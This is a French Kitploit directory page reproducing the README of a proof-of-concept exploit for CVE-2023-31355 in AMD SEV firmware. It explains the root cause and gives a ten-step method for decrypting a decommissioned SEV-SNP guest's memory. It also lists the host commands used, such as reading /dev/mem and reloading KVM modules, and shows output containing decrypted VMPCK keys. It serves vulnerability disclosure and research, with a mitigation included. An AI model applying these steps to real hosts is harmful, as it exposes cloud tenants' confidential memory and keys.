Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2023-31355-poc | Kitploit
Outils/GitHubGitHub/freax13/cve-2023-31355-poc
Outils de Chiffrement/DéchiffrementCriminalistique MémoireAnalyse des VulnérabilitésExploitationSécurité MatérielleAnalyse de MicrologicielExploitation de Binaires
GitHubfreax13/cve-2023-31355-poc

cve-2023-31355-poc

Voir le dépôt
8il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Vulnérabilité du firmware SEV

Ce dépôt contient un exploit pour une vulnérabilité dans le firmware SEV. L'exploit permet de déchiffrer la mémoire arbitraire d'un invité SEV-SNP après qu'il a été décommissionné.

Testé sur la version 1.55.16 (dernière version au moment de la rédaction).

Cause racine

snp_reclaim_buffer tente sans condition de réécrire les modifications RMP même lorsque l'adresse n'est pas couverte par la RMP. Si address n'est pas couverte par la RMP, l'adresse de l'entrée RMP page_rmp_paddr n'est jamais correctement initialisée et reste à sa valeur initiale de 0. En conséquence, le firmware tente de réécrire les modifications de l'entrée RMP à l'adresse 0. C'est problématique car l'adresse 0 est couverte par la RMP et ne devrait pas être écrite sans vérifications supplémentaires. Si address est en dehors de la zone couverte par la RMP, page_rmp_entry n'est jamais correctement initialisé et contient de la mémoire parasite provenant de la pile. Cette mémoire parasite est en pratique constante.

Il y a un commentaire qui met en garde contre exactement ce modèle de code, ce qui explique aussi pourquoi je ne serais pas surpris de ne pas être le premier à le signaler.

snp_reclaim_buffer est appelé avec l'adresse de la page de statut des tampons en anneau SEV lorsque l'hyperviseur demande la sortie du mode tampon en anneau. Cette adresse est contrôlée par l'attaquant. Il y a quelques vérifications pour cette adresse, mais les pages par défaut (c.-à-d. les pages en dehors de la zone couverte par la RMP) sont explicitement autorisées.

Exploitation

Nous pouvons exploiter cette écriture à l'adresse 0 en y plaçant une page de contexte d'invité. Par commodité, le premier champ de la page de contexte d'invité est la UMC key seed, dont la taille est exactement identique à celle d'une entrée RMP (les deux font 16 octets). En trompant le firmware pour qu'il réécrive les modifications à l'adresse 0, nous pouvons corrompre la UMC key seed. L'entrée RMP non initialisée qui est écrite est toujours la même, donc la UMC key seed corrompue sera également presque toujours la même : le nombre de sous-pages (9 bits) de l'entrée RMP n'est pas écrit, mais tous les autres champs le sont. En créant à plusieurs reprises de nouvelles pages de contexte d'invité qui auront à chaque fois des nombres de sous-pages initiaux aléatoires différents, nous pouvons à terme créer plusieurs invités avec la même UMC key seed.

Pour exploiter la vulnérabilité, nous pouvons exécuter les étapes suivantes :

  1. Créer une page de contexte d'invité à l'adresse 0 pour l'invité victime.
  2. Utiliser la vulnérabilité pour corrompre la UMC key seed de l'invité victime.
  3. Activer la page de contexte de l'invité victime, puis lancer et exécuter l'invité victime.
  4. Décommissionner l'invité victime.
  5. Créer une page de contexte d'invité à l'adresse 0 pour l'invité attaquant.
  6. Utiliser la vulnérabilité pour corrompre la UMC key seed de l'invité attaquant. Tous les bits, sauf 9, sont garantis de correspondre à ceux de l'invité victime.
  7. Si la UMC key seed de l'invité attaquant correspond à celle de l'invité victime, continuer ; sinon, revenir à l'étape 5.
  8. Activer la page de contexte de l'invité attaquant et lancer avec le drapeau de débogage activé.
  9. Affecter la mémoire de l'invité victime à l'invité attaquant.
  10. Utiliser la commande SNP_DBG_ENCRYPT pour déchiffrer la mémoire de l'invité victime en utilisant la page de contexte de l'invité attaquant. Cette opération réussira car l'invité victime et l'invité attaquant partagent une UMC key seed.

Impact

Étant donné que nous ne pouvons déchiffrer la mémoire qu'après que l'invité a été décommissionné, il n'est pas possible de créer de faux rapports d'attestation, même si nous avons accès aux secrets de l'invité. Nous ne pouvons créer de faux rapports d'attestation que si l'invité a été migré vers un autre hôte avant d'être décommissionné : dans ce cas, les secrets (c.-à-d. les VMPCKs) de l'invité décommissionné fonctionneront également sur la nouvelle instance migrée.

En pratique cependant, beaucoup d'applications stockent d'autres informations sensibles (c.-à-d. des clés privées, des clés de chiffrement de disque) qui peuvent être divulguées à l'aide de cet exploit.

Atténuation

L'entrée RMP ne devrait être réécrite que si la page n'était pas dans l'état par défaut.

Utilisation du PoC

  1. Modifier la zone couverte par la RMP dans le BIOS à 64 Gio (0x10000 pages de 1 Mio). Si votre système ne prend pas en charge cela, les correctifs Linux devront être ajustés en conséquence. Le PoC a été testé sur un système avec 128 Gio de mémoire.
  2. Appliquer les correctifs du dossier linux-patches sur le dernier commit de https://github.com/AMDESE/linux/commits/snp-host-v10. Compiler, installer et démarrer le noyau.
  3. Lancer un invité SEV-SNP victime.
  4. Pendant que l'invité est encore en cours d'exécution, récupérer la UMC key seed (chiffrée).
    root@kitploit:~
    root@server:~# hexdump -ve '16/1 "%.2x" "\n"' -n 16 /dev/mem
    118402003190020000d0150701000000
    
  5. Arrêter l'invité victime.
  6. Inspecter les journaux du noyau pour trouver l'emplacement de la page secrète créée lors du lancement.
    root@kitploit:~
    root@server:~# dmesg | grep "kvm_amd: Detected secret page"
    [  463.851449] kvm_amd: Detected secret page at pfn 171a24
    
  7. Recharger les modules du noyau ccp, kvm et kvm_and :
    root@kitploit:~
    root@server:~# rmmod kvm_amd kvm ccp && modprobe kvm_amd
    
    Les correctifs Linux semblent dérégler la RMP, et cela réinitialise la RMP.
  8. Exécuter le PoC.
    root@kitploit:~
    root@server:~/firmware-vuln-poc# cargo run -- --umc-key-seed 118402003190020000d0150701000000 --pfn 0x171a24 
        Finished dev [unoptimized + debuginfo] target(s) in 0.03s
    Creating VM with identical UMC key seed
    [11, 84, 02, 00, 31, 90, 02, 00, 00, d0, 15, 07, 01, 00, 00, 00]
    Raw page:
    000: 0300000000000000110fa0000000000000000000000000000000000082837143
    020: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
    040: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
    060: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
    080: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
    0a0: 0000000000000000000000000000000000000000000000000000000000000000
    0c0: 0000000000000000000000000000000000000000000000000000000000000000
    0e0: 0000000000000000000000000000000000000000000000000000000000000000
    100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
    120: 0000000000000000000000000000000000000000000000000000000000000000
    140: 0000000000000000000000000000000000000000000000000000000000000000
    160: c800000000000000000000000000000000000000000000000000000000000000
    180: 0000000000000000000000000000000000000000000000000000000000000000
    1a0: 0000000000000000000000000000000000000000000000000000000000000000
    1c0: 0000000000000000000000000000000000000000000000000000000000000000
    1e0: 0000000000000000000000000000000000000000000000000000000000000000
    200: 0000000000000000000000000000000000000000000000000000000000000000
    220: 0000000000000000000000000000000000000000000000000000000000000000
    240: 0000000000000000000000000000000000000000000000000000000000000000
    260: 0000000000000000000000000000000000000000000000000000000000000000
    280: 0000000000000000000000000000000000000000000000000000000000000000
    2a0: 0000000000000000000000000000000000000000000000000000000000000000
    2c0: 0000000000000000000000000000000000000000000000000000000000000000
    2e0: 0000000000000000000000000000000000000000000000000000000000000000
    300: 0000000000000000000000000000000000000000000000000000000000000000
    320: 0000000000000000000000000000000000000000000000000000000000000000
    340: 0000000000000000000000000000000000000000000000000000000000000000
    360: 0000000000000000000000000000000000000000000000000000000000000000
    380: 0000000000000000000000000000000000000000000000000000000000000000
    3a0: 0000000000000000000000000000000000000000000000000000000000000000
    3c0: 0000000000000000000000000000000000000000000000000000000000000000
    3e0: 0000000000000000000000000000000000000000000000000000000000000000
    400: 0000000000000000000000000000000000000000000000000000000000000000
    420: 0000000000000000000000000000000000000000000000000000000000000000
    440: 0000000000000000000000000000000000000000000000000000000000000000
    460: 0000000000000000000000000000000000000000000000000000000000000000
    480: 0000000000000000000000000000000000000000000000000000000000000000
    4a0: 0000000000000000000000000000000000000000000000000000000000000000
    4c0: 0000000000000000000000000000000000000000000000000000000000000000
    4e0: 0000000000000000000000000000000000000000000000000000000000000000
    500: 0000000000000000000000000000000000000000000000000000000000000000
    520: 0000000000000000000000000000000000000000000000000000000000000000
    540: 0000000000000000000000000000000000000000000000000000000000000000
    560: 0000000000000000000000000000000000000000000000000000000000000000
    580: 0000000000000000000000000000000000000000000000000000000000000000
    5a0: 0000000000000000000000000000000000000000000000000000000000000000
    5c0: 0000000000000000000000000000000000000000000000000000000000000000
    5e0: 0000000000000000000000000000000000000000000000000000000000000000
    600: 0000000000000000000000000000000000000000000000000000000000000000
    620: 0000000000000000000000000000000000000000000000000000000000000000
    640: 0000000000000000000000000000000000000000000000000000000000000000
    660: 0000000000000000000000000000000000000000000000000000000000000000
    680: 0000000000000000000000000000000000000000000000000000000000000000
    6a0: 0000000000000000000000000000000000000000000000000000000000000000
    6c0: 0000000000000000000000000000000000000000000000000000000000000000
    6e0: 0000000000000000000000000000000000000000000000000000000000000000
    700: 0000000000000000000000000000000000000000000000000000000000000000
    720: 0000000000000000000000000000000000000000000000000000000000000000
    740: 0000000000000000000000000000000000000000000000000000000000000000
    760: 0000000000000000000000000000000000000000000000000000000000000000
    780: 0000000000000000000000000000000000000000000000000000000000000000
    7a0: 0000000000000000000000000000000000000000000000000000000000000000
    7c0: 0000000000000000000000000000000000000000000000000000000000000000
    7e0: 0000000000000000000000000000000000000000000000000000000000000000
    800: 0000000000000000000000000000000000000000000000000000000000000000
    820: 0000000000000000000000000000000000000000000000000000000000000000
    840: 0000000000000000000000000000000000000000000000000000000000000000
    860: 0000000000000000000000000000000000000000000000000000000000000000
    880: 0000000000000000000000000000000000000000000000000000000000000000
    8a0: 0000000000000000000000000000000000000000000000000000000000000000
    8c0: 0000000000000000000000000000000000000000000000000000000000000000
    8e0: 0000000000000000000000000000000000000000000000000000000000000000
    900: 0000000000000000000000000000000000000000000000000000000000000000
    920: 0000000000000000000000000000000000000000000000000000000000000000
    940: 0000000000000000000000000000000000000000000000000000000000000000
    960: 0000000000000000000000000000000000000000000000000000000000000000
    980: 0000000000000000000000000000000000000000000000000000000000000000
    9a0: 0000000000000000000000000000000000000000000000000000000000000000
    9c0: 0000000000000000000000000000000000000000000000000000000000000000
    9e0: 0000000000000000000000000000000000000000000000000000000000000000
    a00: 0000000000000000000000000000000000000000000000000000000000000000
    a20: 0000000000000000000000000000000000000000000000000000000000000000
    a40: 0000000000000000000000000000000000000000000000000000000000000000
    a60: 0000000000000000000000000000000000000000000000000000000000000000
    a80: 0000000000000000000000000000000000000000000000000000000000000000
    aa0: 0000000000000000000000000000000000000000000000000000000000000000
    ac0: 0000000000000000000000000000000000000000000000000000000000000000
    ae0: 0000000000000000000000000000000000000000000000000000000000000000
    b00: 0000000000000000000000000000000000000000000000000000000000000000
    b20: 0000000000000000000000000000000000000000000000000000000000000000
    b40: 0000000000000000000000000000000000000000000000000000000000000000
    b60: 0000000000000000000000000000000000000000000000000000000000000000
    b80: 0000000000000000000000000000000000000000000000000000000000000000
    ba0: 0000000000000000000000000000000000000000000000000000000000000000
    bc0: 0000000000000000000000000000000000000000000000000000000000000000
    be0: 0000000000000000000000000000000000000000000000000000000000000000
    c00: 0000000000000000000000000000000000000000000000000000000000000000
    c20: 0000000000000000000000000000000000000000000000000000000000000000
    c40: 0000000000000000000000000000000000000000000000000000000000000000
    c60: 0000000000000000000000000000000000000000000000000000000000000000
    c80: 0000000000000000000000000000000000000000000000000000000000000000
    ca0: 0000000000000000000000000000000000000000000000000000000000000000
    cc0: 0000000000000000000000000000000000000000000000000000000000000000
    ce0: 0000000000000000000000000000000000000000000000000000000000000000
    d00: 0000000000000000000000000000000000000000000000000000000000000000
    d20: 0000000000000000000000000000000000000000000000000000000000000000
    d40: 0000000000000000000000000000000000000000000000000000000000000000
    d60: 0000000000000000000000000000000000000000000000000000000000000000
    d80: 0000000000000000000000000000000000000000000000000000000000000000
    da0: 0000000000000000000000000000000000000000000000000000000000000000
    dc0: 0000000000000000000000000000000000000000000000000000000000000000
    de0: 0000000000000000000000000000000000000000000000000000000000000000
    e00: 0000000000000000000000000000000000000000000000000000000000000000
    e20: 0000000000000000000000000000000000000000000000000000000000000000
    e40: 0000000000000000000000000000000000000000000000000000000000000000
    e60: 0000000000000000000000000000000000000000000000000000000000000000
    e80: 0000000000000000000000000000000000000000000000000000000000000000
    ea0: 0000000000000000000000000000000000000000000000000000000000000000
    ec0: 0000000000000000000000000000000000000000000000000000000000000000
    ee0: 0000000000000000000000000000000000000000000000000000000000000000
    f00: 0000000000000000000000000000000000000000000000000000000000000000
    f20: 0000000000000000000000000000000000000000000000000000000000000000
    f40: 0000000000000000000000000000000000000000000000000000000000000000
    f60: 0000000000000000000000000000000000000000000000000000000000000000
    f80: 0000000000000000000000000000000000000000000000000000000000000000
    fa0: 0000000000000000000000000000000000000000000000000000000000000000
    fc0: 0000000000000000000000000000000000000000000000000000000000000000
    fe0: 0000000000000000000000000000000000000000000000000000000000000000
    
    Secrets page:
    imi_en: false
    FMS: 00a00f11
    gosvw: 00000000000000000000000082837143
    vmpck0: a41875b10f682aa819bc3a4e6a58d1ffa118d9ac5e6842db09d5b8c8834dc896
    vmpck1: a35f68f0f4d3d193d423a17072699d2091c6c85e9f9add3a0a4a2ed773844cfa
    vmpck2: 52667d5345db42dfafdbd77f578a21ebaa6c840d70b02bde02f264f8a774351c
    vmpck3: 17aedc1fca84e0f682ffd9b4f9da53f8c5372d224d481614d0205ee3413427a8
    VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
    tsc_factor: 200
    
    Notez que les pages secrètes n'ont rien de particulier ; cet exploit peut également être utilisé pour déchiffrer des pages normales. Les pages secrètes sont utilisées dans le PoC car elles ont un contenu très reconnaissable, ce qui permet de constater facilement que le déchiffrement de la mémoire de l'invité victime a réussi.
Télécharger l’outil